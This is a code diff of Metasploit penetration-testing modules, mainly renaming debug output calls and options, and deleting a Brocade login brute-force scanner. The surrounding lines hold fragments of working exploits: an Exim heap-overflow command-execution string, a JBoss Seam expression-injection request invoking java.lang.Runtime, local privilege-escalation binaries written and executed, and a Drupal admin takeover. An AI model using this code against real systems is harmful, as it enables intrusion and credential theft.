ssl_data = remaining_data[5, ssl_len] ssl_data = remaining_data[5, ssl_len]
handshakes = parse_handshakes(ssl_data) handshakes = parse_handshakes(ssl_data)
@ -729,24 +729,24 @@ class Metasploit3 < Msf::Auxiliary
hs_len = hs_unpacked[2] hs_len = hs_unpacked[2]
hs_data = remaining_data[4, hs_len] hs_data = remaining_data[4, hs_len]
handshake_count += 1 handshake_count += 1
vprint_debug("\tHandshake ##{handshake_count}:") vprint_status("\tHandshake ##{handshake_count}:")
vprint_debug("\t\tLength: #{hs_len}") vprint_status("\t\tLength: #{hs_len}")
handshake_parsed = nil handshake_parsed = nil
case hs_type case hs_type
when HANDSHAKE_SERVER_HELLO_TYPE when HANDSHAKE_SERVER_HELLO_TYPE
vprint_debug("\t\tType: Server Hello (#{hs_type})") vprint_status("\t\tType: Server Hello (#{hs_type})")
handshake_parsed = parse_server_hello(hs_data) handshake_parsed = parse_server_hello(hs_data)
when HANDSHAKE_CERTIFICATE_TYPE when HANDSHAKE_CERTIFICATE_TYPE
vprint_debug("\t\tType: Certificate Data (#{hs_type})") vprint_status("\t\tType: Certificate Data (#{hs_type})")
handshake_parsed = parse_certificate_data(hs_data) handshake_parsed = parse_certificate_data(hs_data)
when HANDSHAKE_KEY_EXCHANGE_TYPE when HANDSHAKE_KEY_EXCHANGE_TYPE
vprint_debug("\t\tType: Server Key Exchange (#{hs_type})") vprint_status("\t\tType: Server Key Exchange (#{hs_type})")
# handshake_parsed = parse_server_key_exchange(hs_data) # handshake_parsed = parse_server_key_exchange(hs_data)
when HANDSHAKE_SERVER_HELLO_DONE_TYPE when HANDSHAKE_SERVER_HELLO_DONE_TYPE
vprint_debug("\t\tType: Server Hello Done (#{hs_type})") vprint_status("\t\tType: Server Hello Done (#{hs_type})")
else else
vprint_debug("\t\tType: Handshake type #{hs_type} not implemented") vprint_status("\t\tType: Handshake type #{hs_type} not implemented")
end end
handshakes << { handshakes << {
@ -763,13 +763,13 @@ class Metasploit3 < Msf::Auxiliary
# Parse Server Hello message # Parse Server Hello message
def parse_server_hello(data) def parse_server_hello(data)
version = data.unpack('H4')[0] version = data.unpack('H4')[0]
vprint_debug("\t\tServer Hello Version: 0x#{version}") vprint_status("\t\tServer Hello Version: 0x#{version}")
random = data[2,32].unpack('H*')[0] random = data[2,32].unpack('H*')[0]
vprint_debug("\t\tServer Hello random data: #{random}") vprint_status("\t\tServer Hello random data: #{random}")
session_id_length = data[34,1].unpack('C')[0] session_id_length = data[34,1].unpack('C')[0]
vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}") vprint_status("\t\tServer Hello Session ID length: #{session_id_length}")
session_id = data[35,session_id_length].unpack('H*')[0] session_id = data[35,session_id_length].unpack('H*')[0]
vprint_debug("\t\tServer Hello Session ID: #{session_id}") vprint_status("\t\tServer Hello Session ID: #{session_id}")
# TODO Read the rest of the server hello (respect message length) # TODO Read the rest of the server hello (respect message length)
# TODO: return hash with data # TODO: return hash with data
@ -782,8 +782,8 @@ class Metasploit3 < Msf::Auxiliary
unpacked = data.unpack('Cn') unpacked = data.unpack('Cn')
cert_len_padding = unpacked[0] cert_len_padding = unpacked[0]
cert_len = unpacked[1] cert_len = unpacked[1]
vprint_debug("\t\tCertificates length: #{cert_len}") vprint_status("\t\tCertificates length: #{cert_len}")
vprint_debug("\t\tData length: #{data.length}") vprint_status("\t\tData length: #{data.length}")
# contains multiple certs # contains multiple certs
already_read = 3 already_read = 3
cert_counter = 0 cert_counter = 0
@ -793,14 +793,14 @@ class Metasploit3 < Msf::Auxiliary
single_cert_unpacked = data[already_read, 3].unpack('Cn') single_cert_unpacked = data[already_read, 3].unpack('Cn')
single_cert_len_padding = single_cert_unpacked[0] single_cert_len_padding = single_cert_unpacked[0]
single_cert_len = single_cert_unpacked[1] single_cert_len = single_cert_unpacked[1]
vprint_debug("\t\tCertificate ##{cert_counter}:") vprint_status("\t\tCertificate ##{cert_counter}:")
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}") vprint_status("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
certificate_data = data[(already_read + 3), single_cert_len] certificate_data = data[(already_read + 3), single_cert_len]
cert = OpenSSL::X509::Certificate.new(certificate_data) cert = OpenSSL::X509::Certificate.new(certificate_data)
# First received certificate is the one from the server # First received certificate is the one from the server
@cert = cert if @cert.nil? @cert = cert if @cert.nil?
#vprint_debug("Got certificate: #{cert.to_text}") #vprint_status("Got certificate: #{cert.to_text}")
vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}") vprint_status("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
already_read = already_read + single_cert_len + 3 already_read = already_read + single_cert_len + 3
end end

View File

@ -1,150 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/brocade_telnet'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Telnet
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
def initialize
super(
'Name' => 'Brocade Enable Login Check Scanner',
'Description' => %q{
This module will test a Brocade network device for a privilged
(Enable) login on a range of machines and report successful
logins. If you have loaded a database plugin and connected
to a database this module will record successful
logins and hosts so you can track your access.
This is not a login/telnet authentication. Config should NOT
have 'enable telnet authentication' in it. This will test the
config that contains 'aaa authentication enable default local'
Tested against:
ICX6450-24 SWver 07.4.00bT311
FastIron WS 624 SWver 07.2.02fT7e1
},
'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
)
register_options(
[
OptBool.new('GET_USERNAMES_FROM_CONFIG', [ false, 'Pull usernames from config and running config', true])
], self.class
)
@no_pass_prompt = []
end
def get_username_from_config(un_list,ip)
["config","running-config"].each do |command|
print_status(" Attempting username gathering from #{command} on #{ip}")
sock.puts("\r\n") #ensure the buffer is clear
config = sock.recv(1024)
sock.puts("show #{command}\r\n")
while true do
sock.puts(" \r\n") #paging
config << sock.recv(1024)
#there seems to be some buffering issues. so we want to match that we're back at a prompt, as well as received the 'end' of the config.
break if config.match(/>$/) and config.match(/end/)
end #pull the entire config
config.each_line do |un|
if un.match(/^username/)
found_username = un.split(" ")[1].strip
un_list.push(found_username)
print_status(" Found: #{found_username}@#{ip}")
end #username match
end #each line in config
end #end config/running-config loop
end
attr_accessor :no_pass_prompt
attr_accessor :password_only
def run_host(ip)
un_list = []
if datastore['GET_USERNAMES_FROM_CONFIG']
connect()
get_username_from_config(un_list,ip)
disconnect()
end
if datastore['USERNAME'] #put the provided username on the array to try
un_list.push(datastore['USERNAME'])
end
un_list.delete('logout') #logout, even when used as a un or pass will exit the terminal
un_list.each do |un|
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: un,
user_as_pass: datastore['USER_AS_PASS'],
)
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::Brocade_Telnet.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: datastore['Timeout'],
max_send_size: datastore['TCP::max_send_size'],
send_delay: datastore['TCP::send_delay'],
banner_timeout: datastore['TelnetBannerTimeout'],
telnet_timeout: datastore['TelnetTimeout'],
framework: framework,
framework_module: self,
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good("#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}")
start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
else
invalidate_login(credential_data)
print_error("#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})")
end
end
end #end un loop
end
def start_telnet_session(host, port, user, pass, scanner)
print_status("Attempting to start session #{host}:#{port} with #{user}:#{pass}")
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => user,
'PASSWORD' => pass
}
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock)
end
end

View File

@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary
def initialize def initialize
super( super(
'Name' => 'Telnet Service Encyption Key ID Overflow Detection', 'Name' => 'Telnet Service Encryption Key ID Overflow Detection',
'Description' => 'Detect telnet services vulnerable to the encrypt option Key ID overflow (BSD-derived telnetd)', 'Description' => 'Detect telnet services vulnerable to the encrypt option Key ID overflow (BSD-derived telnetd)',
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'hdm' ], 'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'hdm' ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,

View File

@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary
OptRegexp.new('EXCLUDE', [false, OptRegexp.new('EXCLUDE', [false,
'Only attempt to use exploits whose name DOES NOT match this regex' 'Only attempt to use exploits whose name DOES NOT match this regex'
]), ]),
OptBool.new('DEBUG', [false, OptBool.new('DEBUG_AUTOPWN', [false,
'Do not obfuscate the javascript and print various bits of useful info to the browser', 'Do not obfuscate the javascript and print various bits of useful info to the browser',
false false
]), ]),
@ -232,8 +232,8 @@ class Metasploit3 < Msf::Auxiliary
ENDJS ENDJS
) )
if (datastore['DEBUG']) if (datastore['DEBUG_AUTOPWN'])
print_debug("NOTE: Debug Mode; javascript will not be obfuscated") print_status("NOTE: Debug Mode; javascript will not be obfuscated")
else else
pre = Time.now pre = Time.now
@ -349,7 +349,7 @@ class Metasploit3 < Msf::Auxiliary
# For testing, set the exploit uri to the name of the exploit so it's # For testing, set the exploit uri to the name of the exploit so it's
# easy to tell what is happening from the browser. # easy to tell what is happening from the browser.
if (datastore['DEBUG']) if (datastore['DEBUG_AUTOPWN'])
@exploits[name].datastore['URIPATH'] = name @exploits[name].datastore['URIPATH'] = name
else else
# randomize it manually since if a saved value exists in the user's # randomize it manually since if a saved value exists in the user's
@ -836,7 +836,7 @@ class Metasploit3 < Msf::Auxiliary
# #
#js = ::Rex::Exploitation::JSObfu.new(js) #js = ::Rex::Exploitation::JSObfu.new(js)
#js.obfuscate unless datastore["DEBUG"] #js.obfuscate unless datastore["DEBUG_AUTOPWN"]
response.body = "#{js}" response.body = "#{js}"
print_status("Responding with #{sploit_cnt} exploits") print_status("Responding with #{sploit_cnt} exploits")
@ -1056,7 +1056,7 @@ class Metasploit3 < Msf::Auxiliary
end end
def js_debug(msg) def js_debug(msg)
if datastore['DEBUG'] if datastore['DEBUG_AUTOPWN']
return "document.body.innerHTML += #{msg};" return "document.body.innerHTML += #{msg};"
end end
return "" return ""

View File

@ -47,10 +47,6 @@ attr_accessor :sock, :thread
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 300]), OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 300]),
]) ])
register_advanced_options([
OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil self.thread = nil
self.sock = nil self.sock = nil

View File

@ -46,10 +46,6 @@ class Metasploit3 < Msf::Auxiliary
OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']), OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
]) ])
register_advanced_options([
OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false])
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil self.thread = nil
self.sock = nil self.sock = nil
@ -90,20 +86,18 @@ class Metasploit3 < Msf::Auxiliary
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}") vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
if datastore['DEBUG'] vprint_status("transid: #{nbnsq_transid.unpack('H4')}")
print_status("transid: #{nbnsq_transid.unpack('H4')}") vprint_status("tlags: #{nbnsq_flags.unpack('B16')}")
print_status("tlags: #{nbnsq_flags.unpack('B16')}") vprint_status("questions: #{nbnsq_questions.unpack('n')}")
print_status("questions: #{nbnsq_questions.unpack('n')}") vprint_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}") vprint_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}") vprint_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}") vprint_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}") vprint_status("full name: #{nbnsq_name.slice(1..-2)}")
print_status("full name: #{nbnsq_name.slice(1..-2)}") vprint_status("decoded: #{decoded}")
print_status("decoded: #{decoded}") vprint_status("decoded name: #{nbnsq_decodedname}")
print_status("decoded name: #{nbnsq_decodedname}") vprint_status("type: #{nbnsq_type.unpack('n')}")
print_status("type: #{nbnsq_type.unpack('n')}") vprint_status("class: #{nbnsq_class.unpack('n')}")
print_status("class: #{nbnsq_class.unpack('n')}")
end
# time to build a response packet - Oh YEAH! # time to build a response packet - Oh YEAH!
response = nbnsq_transid + response = nbnsq_transid +

View File

@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
send_response(cli, apk_bytes, magic_headers) send_response(cli, apk_bytes, magic_headers)
end end
elsif req.uri =~ /_poll/ elsif req.uri =~ /_poll/
vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}" vprint_status("Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}")
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain') send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
elsif req.uri =~ /launch$/ elsif req.uri =~ /launch$/
send_response_html(cli, launch_html) send_response_html(cli, launch_html)

View File

@ -57,7 +57,7 @@ class Metasploit4 < Msf::Exploit::Local
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]), OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]), OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]) OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ])
]) ])
end end
@ -327,7 +327,7 @@ int main(int argc,char *argv[], char ** envp)
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"") main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"")
main.gsub!(/COUNT/, datastore["Count"].to_s) main.gsub!(/COUNT/, datastore["Count"].to_s)
main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG'] main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG_EXPLOIT']
cpu = nil cpu = nil
if target['Arch'] == ARCH_X86 if target['Arch'] == ARCH_X86
@ -349,7 +349,7 @@ int main(int argc,char *argv[], char ** envp)
rm_f executable_path rm_f executable_path
write_file(executable_path, elf) write_file(executable_path, elf)
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}") output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
output.each_line { |line| print_debug line.chomp } output.each_line { |line| vprint_status(line.chomp) }
stime = Time.now.to_f stime = Time.now.to_f
print_status "Starting the payload handler..." print_status "Starting the payload handler..."

View File

@ -66,7 +66,7 @@ class Metasploit4 < Msf::Exploit::Local
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
]) ])
register_options([ register_options([
OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]), OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
]) ])
end end
@ -85,7 +85,7 @@ class Metasploit4 < Msf::Exploit::Local
#endif #endif
| |
current_task_struct_h(sc) current_task_struct_h(sc)
if datastore["DEBUG"] if datastore["DEBUG_EXPLOIT"]
cparser.parse "#define DEBUG\n" cparser.parse "#define DEBUG\n"
end end
@ -446,7 +446,7 @@ int main(int argc, char **argv) {
rm_f executable_path rm_f executable_path
write_file(executable_path, elf) write_file(executable_path, elf)
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}") output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
output.each_line { |line| print_debug line.chomp } output.each_line { |line| vprint_status(line.chomp) }
end end

View File

@ -195,8 +195,6 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def execute_command(cmd, opts) def execute_command(cmd, opts)
vprint_debug(cmd)
# Get the length of the command, for the backdoor's command injection # Get the length of the command, for the backdoor's command injection
cmd_length = cmd.length cmd_length = cmd.length

View File

@ -97,7 +97,7 @@ class Metasploit4 < Msf::Exploit::Remote
rescue rescue
peer = "#{rhost}:#{rport}" peer = "#{rhost}:#{rport}"
vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}") vprint_status("#{peer} - Caught #{$!.class}: #{$!.message}")
ensure ensure
smtp_disconnect smtp_disconnect
@ -160,14 +160,14 @@ class Metasploit4 < Msf::Exploit::Remote
16.times do 16.times do
done = catch(:another_heap_shift) do done = catch(:another_heap_shift) do
heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15) heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
print_debug("#{{ heap_shift: heap_shift }}") vprint_status("#{{ heap_shift: heap_shift }}")
# write the malloc_chunk header at increasing offsets (8-byte step), # write the malloc_chunk header at increasing offsets (8-byte step),
# until we overwrite the "503 sender not yet given" error message # until we overwrite the "503 sender not yet given" error message
128.step(256, 8) do |write_offset| 128.step(256, 8) do |write_offset|
error = try_information_leak(heap_shift, write_offset) error = try_information_leak(heap_shift, write_offset)
print_debug("#{{ write_offset: write_offset, error: error }}") vprint_status("#{{ write_offset: write_offset, error: error }}")
throw(:another_heap_shift) if not error throw(:another_heap_shift) if not error
next if error == "503 sender not yet given" next if error == "503 sender not yet given"
@ -179,7 +179,7 @@ class Metasploit4 < Msf::Exploit::Remote
error[i] = try_information_leak(heap_shift, write_offset + i*8) error[i] = try_information_leak(heap_shift, write_offset + i*8)
throw(:another_heap_shift) if not error[i] throw(:another_heap_shift) if not error[i]
end end
print_debug("#{{ error: error }}") vprint_status("#{{ error: error }}")
_leaked_arch = leaked_arch _leaked_arch = leaked_arch
if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
@ -197,7 +197,7 @@ class Metasploit4 < Msf::Exploit::Remote
else else
throw(:another_heap_shift) throw(:another_heap_shift)
end end
print_debug("#{{ leaked_arch: leaked_arch }}") vprint_status("#{{ leaked_arch: leaked_arch }}")
fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
# try different large-bins: most of them should be empty, # try different large-bins: most of them should be empty,
@ -211,7 +211,7 @@ class Metasploit4 < Msf::Exploit::Remote
next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
count[error] += 1 count[error] += 1
end end
print_debug("#{{ count: count }}") vprint_status("#{{ count: count }}")
throw(:another_heap_shift) if count.empty? throw(:another_heap_shift) if count.empty?
# convert count to a nested array of [key, value] arrays and sort it # convert count to a nested array of [key, value] arrays and sort it
@ -345,7 +345,7 @@ class Metasploit4 < Msf::Exploit::Remote
encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&') encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);" # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}' command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
print_debug(command) vprint_status("Command: #{command}")
# don't try to execute commands directly, try a very simple ACL first, # don't try to execute commands directly, try a very simple ACL first,
# to distinguish between exploitation-problems and shellcode-problems # to distinguish between exploitation-problems and shellcode-problems
@ -407,9 +407,9 @@ class Metasploit4 < Msf::Exploit::Remote
# (we don't control what's stored at heap_addr) # (we don't control what's stored at heap_addr)
rand_offset = rand(max_rand_offset) rand_offset = rand(max_rand_offset)
print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}") vprint_status("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset) reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
print_debug("#{{ reply: reply }}") if reply vprint_status("#{{ reply: reply }}") if reply
if reply and if reply and
reply[:code] == "550" and reply[:code] == "550" and
@ -419,7 +419,7 @@ class Metasploit4 < Msf::Exploit::Remote
print_good("Please wait for reply...") print_good("Please wait for reply...")
# execute command this time, not acldrop # execute command this time, not acldrop
reply = try_code_execution(helo_len, command, heap_addr + rand_offset) reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
print_debug("#{{ reply: reply }}") vprint_status("#{{ reply: reply }}")
return handler return handler
end end

View File

@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
register_options( register_options(
[ [
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ), OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
OptBool.new('DEBUG', [false, "Display some alert()'s for debugging the payload.", false]) OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
], Auxiliary::Timed) ], Auxiliary::Timed)
end end
@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
# @return [String] containing javascript that will alert a debug string # @return [String] containing javascript that will alert a debug string
# if the DEBUG is set to true # if the DEBUG is set to true
def js_debug(str, quote="'") def js_debug(str, quote="'")
if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
end end
# @return [String] HTML that is sent in the first response to the client # @return [String] HTML that is sent in the first response to the client

View File

@ -97,10 +97,10 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def on_request_uri( cli, request ) def on_request_uri( cli, request )
print_debug("Requesting: #{request.uri}") vprint_status("Requesting: #{request.uri}")
if request.uri !~ /\.jar$/i if request.uri !~ /\.jar$/i
if not request.uri =~ /\/$/ if not request.uri =~ /\/$/
print_status("Sending redirect...") vprint_status("Sending redirect...")
send_redirect(cli, "#{get_resource}/", '') send_redirect(cli, "#{get_resource}/", '')
return return
end end

View File

@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote
md5_base64 = phpass_encode64(md5, md5.length) md5_base64 = phpass_encode64(md5, md5.length)
md5_stripped = md5_base64[0...22] md5_stripped = md5_base64[0...22]
pass = "$P\\$" + iter_char + salt + md5_stripped pass = "$P\\$" + iter_char + salt + md5_stripped
vprint_debug("#{peer} - password hash: #{pass}") vprint_status("#{peer} - password hash: #{pass}")
return pass return pass
end end
@ -129,8 +129,8 @@ class Metasploit3 < Msf::Exploit::Remote
form_build_id = $1 if content =~ /name="form_build_id" value="(.+?)"/ form_build_id = $1 if content =~ /name="form_build_id" value="(.+?)"/
form_token = $1 if content =~ /name="form_token" value="(.+?)"/ form_token = $1 if content =~ /name="form_token" value="(.+?)"/
vprint_debug("#{peer} - form_build_id: #{form_build_id}") vprint_status("#{peer} - form_build_id: #{form_build_id}")
vprint_debug("#{peer} - form_token: #{form_token}") vprint_status("#{peer} - form_token: #{form_token}")
return form_build_id, form_token return form_build_id, form_token
end end
@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote
end end
cookie = res.get_cookies cookie = res.get_cookies
vprint_debug("#{peer} - cookie: #{cookie}") vprint_status("#{peer} - cookie: #{cookie}")
# call admin interface to extract CSRF token and enabled modules # call admin interface to extract CSRF token and enabled modules
print_status("#{peer} - Trying to parse enabled modules") print_status("#{peer} - Trying to parse enabled modules")
@ -280,7 +280,7 @@ class Metasploit3 < Msf::Exploit::Remote
# get administrator role id # get administrator role id
id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/ id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
vprint_debug("#{peer} - admin role id: #{id}") vprint_status("#{peer} - admin role id: #{id}")
unless id unless id
fail_with(Failure::Unknown, "Could not parse out administrator ID") fail_with(Failure::Unknown, "Could not parse out administrator ID")

View File

@ -80,21 +80,21 @@ class Metasploit3 < Msf::Exploit::Remote
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}" 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"
}, timeout=datastore['TIMEOUT']) }, timeout=datastore['TIMEOUT'])
if (res and res.code == 302 and res.headers['Location']) if (res and res.code == 302 and res.headers['Location'])
vprint_debug("Server sent a 302 with location") vprint_status("Server sent a 302 with location")
if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29)) if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29))
report_vuln({ report_vuln({
:host => rhost, :host => rhost,
:port => rport, :port => rport,
:name => "#{self.name} - #{uri}", :name => "#{self.name} - #{uri}",
:refs => self.references, :refs => self.references,
:info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource." :info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource."
}) })
return Exploit::CheckCode::Vulnerable return Exploit::CheckCode::Vulnerable
else else
return Exploit::CheckCode::Safe return Exploit::CheckCode::Safe
end end
else else
return Exploit::CheckCode::Unknown return Exploit::CheckCode::Unknown
end end
# If we reach this point, we didn't find the service # If we reach this point, we didn't find the service
@ -205,8 +205,6 @@ EOJSP
def get_full_path(filename) def get_full_path(filename)
#vprint_debug("Trying to find full path for #{filename}")
uri = target_uri.path uri = target_uri.path
res = send_request_cgi( res = send_request_cgi(
{ {
@ -220,7 +218,6 @@ EOJSP
# the user argument should be set to the result of our call - which # the user argument should be set to the result of our call - which
# will be the full path of our file # will be the full path of our file
matches = /.*user=(.+)\&.*/.match(res.headers['Location']) matches = /.*user=(.+)\&.*/.match(res.headers['Location'])
#vprint_debug("Location is " + res.headers['Location'])
if (matches and matches.captures) if (matches and matches.captures)
return Rex::Text::uri_decode(matches.captures[0]) return Rex::Text::uri_decode(matches.captures[0])
else else
@ -241,16 +238,16 @@ EOJSP
append = 'false' append = 'false'
while (data.length > chunk_size) while (data.length > chunk_size)
status = upload_file_chunk(@payload_exe, append, data[0, chunk_size]) status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])
if status if status
vprint_debug("Uploaded chunk") vprint_status("Uploaded chunk")
else else
vprint_error("Failed to upload chunk") vprint_error("Failed to upload chunk")
break break
end end
data = data[chunk_size, data.length - chunk_size] data = data[chunk_size, data.length - chunk_size]
# first chunk is an overwrite, afterwards, we need to append # first chunk is an overwrite, afterwards, we need to append
append = 'true' append = 'true'
end end
status = upload_file_chunk(@payload_exe, 'true', data) status = upload_file_chunk(@payload_exe, 'true', data)
if status if status
@ -290,7 +287,7 @@ EOJSP
return return
end end
vprint_debug("Sending in chunks of #{chunk_size}") vprint_status("Sending in chunks of #{chunk_size}")
case target['Platform'] case target['Platform']
when 'java' when 'java'

View File

@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_warning("#{peer} - File upload may have failed") print_warning("#{peer} - File upload may have failed")
return fname return fname
else else
vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}") vprint_status("#{peer} - Received response: #{res.code} - #{res.body}")
